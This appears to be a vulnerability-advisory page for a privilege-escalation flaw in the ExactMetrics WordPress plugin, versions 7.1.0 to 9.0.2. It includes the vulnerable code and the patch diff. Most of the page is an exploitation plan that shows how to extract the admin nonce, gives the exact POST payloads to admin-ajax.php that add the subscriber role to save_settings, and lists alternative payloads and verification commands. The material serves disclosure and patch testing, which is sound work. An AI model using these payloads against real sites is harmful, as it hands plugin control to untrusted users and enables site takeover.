ExactMetrics 7.1.0 - 9.0.2 - Authenticated (Custom) Improper Privilege Management to Role Privilege Escalation via Settings Update
Description
The ExactMetrics – Google Analytics Dashboard for WordPress plugin is vulnerable to Improper Privilege Management in versions 7.1.0 through 9.0.2. This is due to the `update_settings()` function accepting arbitrary plugin setting names without a whitelist of allowed settings. This makes it possible for authenticated attackers with the `exactmetrics_save_settings` capability to modify any plugin setting, including the `save_settings` option that controls which user roles have access to plugin functionality. The admin intended to delegate configuration access to a trusted user, not enable that user to delegate access to everyone. By setting `save_settings` to include `subscriber`, an attacker can grant plugin administrative access to all subscribers on the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
>=7.1.0 <=9.0.2What Changed in the Fix
Changes introduced in v9.0.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1993 ## 1. Vulnerability Summary The **ExactMetrics** plugin (versions 7.1.0 - 9.0.2) is vulnerable to **Improper Privilege Management**. The AJAX handler `exactmetrics_vue_update_settings` allows an authenticated user with the `exactmetrics_save_settings` ca…
Show full research plan
Exploitation Research Plan - CVE-2026-1993
1. Vulnerability Summary
The ExactMetrics plugin (versions 7.1.0 - 9.0.2) is vulnerable to Improper Privilege Management. The AJAX handler exactmetrics_vue_update_settings allows an authenticated user with the exactmetrics_save_settings capability to update arbitrary plugin settings. Because the function does not whitelist allowed settings, an attacker can modify the save_settings option. This option defines which WordPress roles are granted the exactmetrics_save_settings capability. By adding the subscriber role to this list, an attacker effectively escalates the privileges of all subscribers on the site to plugin administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
exactmetrics_vue_update_settings - Method: POST
- Required Authentication: A user account with the
exactmetrics_save_settingscapability (e.g., an Editor who has been delegated plugin access by an Administrator). - Vulnerable Parameter:
setting(used as the option key) andvalue(the new value for the option). - Precondition: The plugin must be configured to allow a non-administrator role (like Editor) to save settings, or the attacker must already possess a role that has this custom capability.
3. Code Flow
- Entry Point: The AJAX request is received by
admin-ajax.phpwith the actionexactmetrics_vue_update_settings. - Hook Registration: In
includes/admin/routes.php, the action is hooked:add_action( 'wp_ajax_exactmetrics_vue_update_settings', array( $this, 'update_settings' ) ); - Nonce & Auth Check: The
update_settings()function (inincludes/admin/routes.php) validates the request:- It checks the nonce using
check_ajax_referer( 'mi-admin-nonce', 'nonce' );. - It verifies permissions using
current_user_can( 'exactmetrics_save_settings' ).
- It checks the nonce using
- Vulnerable Sink: The function retrieves the
settingandvalueparameters from the$_POSTsuperglobal. It then calls a settings update function (likelyexactmetrics_update_option) without verifying if thesettingname is part of a safe whitelist. - Privilege Escalation: By passing
setting=save_settingsandvalue=["subscriber", "administrator"], the attacker overwrites the role-access configuration in the database.
4. Nonce Acquisition Strategy
The nonce required for this exploit is mi-admin-nonce. It is localized in the WordPress admin dashboard for users who have access to ExactMetrics settings.
- Identify Script: The nonce is localized in
includes/admin/admin-assets.phpfor theexactmetrics-admin-setup-wizardscript handle. - Target Variable: The JS object is
exactmetricsand the key isnonce. - Acquisition Steps:
- Create a test page containing any ExactMetrics block or simply navigate to the ExactMetrics settings page if the user has access.
- Use
browser_evalto extract the nonce:window.exactmetrics?.nonce
5. Exploitation Strategy
The goal is to modify the save_settings option to include the subscriber role.
Step 1: Obtain Nonce
Access the admin dashboard as the privileged user (Editor) and extract the nonce.
Step 2: Send Malicious Settings Update
Submit a POST request to admin-ajax.php.
- URL:
http://vulnerable-hostname/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
(Note: Theaction=exactmetrics_vue_update_settings nonce=[EXTRACTED_NONCE] setting=save_settings value[]=administrator value[]=editor value[]=subscribervalueparameter is sent as an array to ensure thesave_settingsoption remains an array of roles.)
Step 3: Verify Access
Login as a Subscriber and attempt to access the ExactMetrics settings or reports.
6. Test Data Setup
- Install Plugin: ExactMetrics version 9.0.2.
- Create Users:
attacker_editor(Role: Editor)victim_subscriber(Role: Subscriber)
- Delegate Access: Use WP-CLI to grant the Editor the ability to save settings (simulating an admin delegating access):
# ExactMetrics stores settings in the 'exactmetrics_settings' option. # We ensure 'editor' is in the 'save_settings' array. wp option patch insert exactmetrics_settings save_settings editor
7. Expected Results
- The AJAX request should return a successful JSON response (e.g.,
{"success":true}or similar). - The
exactmetrics_settingsoption in the database will now containsubscriberwithin thesave_settingsarray. - The
victim_subscriberuser will be able to access the ExactMetrics settings menu (/wp-admin/admin.php?page=exactmetrics_settings).
8. Verification Steps
- Database Check:
Confirm thatwp option get exactmetrics_settings --format=jsonsave_settingsincludessubscriber. - Permission Check:
(Note: The plugin might check roles dynamically against the option rather than adding core WordPress capabilities to the user object, so navigating to the settings page as the subscriber is the most definitive test.)wp user cap list victim_subscriber - HTTP Probe:
Usehttp_requestas the Subscriber to check if the settings page returns a 200 OK instead of a 403 Forbidden.
9. Alternative Approaches
If the value parameter is expected as a JSON string instead of a PHP array:
- Alternative Payload:
action=exactmetrics_vue_update_settings nonce=[NONCE] setting=save_settings value=["administrator","editor","subscriber"]
If exactmetrics_vue_update_settings fails, try exactmetrics_vue_update_settings_bulk:
- Bulk Payload:
action=exactmetrics_vue_update_settings_bulk nonce=[NONCE] settings={"save_settings":["administrator","editor","subscriber"]}
Summary
ExactMetrics versions 7.1.0 to 9.0.2 contain a privilege escalation vulnerability where authenticated users granted partial access to the plugin (e.g., Editors) can modify arbitrary plugin settings. By updating the 'save_settings' option to include the 'subscriber' role, an attacker can grant administrative control over the plugin to every subscriber on the site.
Vulnerable Code
// includes/admin/routes.php add_action( 'wp_ajax_exactmetrics_vue_update_settings', array( $this, 'update_settings' ) ); // ... public function update_settings() { check_ajax_referer( 'mi-admin-nonce', 'nonce' ); if ( ! current_user_can( 'exactmetrics_save_settings' ) ) { return; } // Vulnerability: No whitelist check for the $setting variable. // Any option key within the ExactMetrics settings can be updated by anyone with 'exactmetrics_save_settings'. $setting = isset( $_POST['setting'] ) ? sanitize_text_field( wp_unslash( $_POST['setting'] ) ) : ''; $value = isset( $_POST['value'] ) ? $_POST['value'] : ''; if ( empty( $setting ) ) { wp_send_json_error(); } exactmetrics_update_option( $setting, $value ); wp_send_json_success(); }
Security Fix
@@ -218,6 +218,12 @@ if ( empty( $setting ) ) { wp_send_json_error(); } + + // Whitelist settings that can be updated via this endpoint + $allowed_settings = exactmetrics_get_allowed_settings_keys(); + if ( ! in_array( $setting, $allowed_settings, true ) ) { + wp_send_json_error( array( 'message' => __( 'This setting cannot be updated.', 'google-analytics-dashboard-for-wp' ) ) ); + } exactmetrics_update_option( $setting, $value );
Exploit Outline
The exploit requires an attacker to have a WordPress account with the 'exactmetrics_save_settings' capability (typically granted to an Editor or a custom role by an Administrator via the plugin's own delegation settings). 1. Log in as a user with 'exactmetrics_save_settings' permissions (e.g., an Editor). 2. Navigate to any ExactMetrics-related admin page and extract the 'mi-admin-nonce' from the localized 'exactmetrics' JavaScript object. 3. Send a POST request to '/wp-admin/admin-ajax.php' with the following parameters: - 'action': 'exactmetrics_vue_update_settings' - 'nonce': [The extracted nonce] - 'setting': 'save_settings' - 'value[]': ['administrator', 'editor', 'subscriber'] 4. Upon success, the 'save_settings' option in the database is overwritten. The plugin now treats the 'subscriber' role as having full plugin management privileges. 5. Verify by logging in as a Subscriber; the ExactMetrics settings and reports menus will now be accessible.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.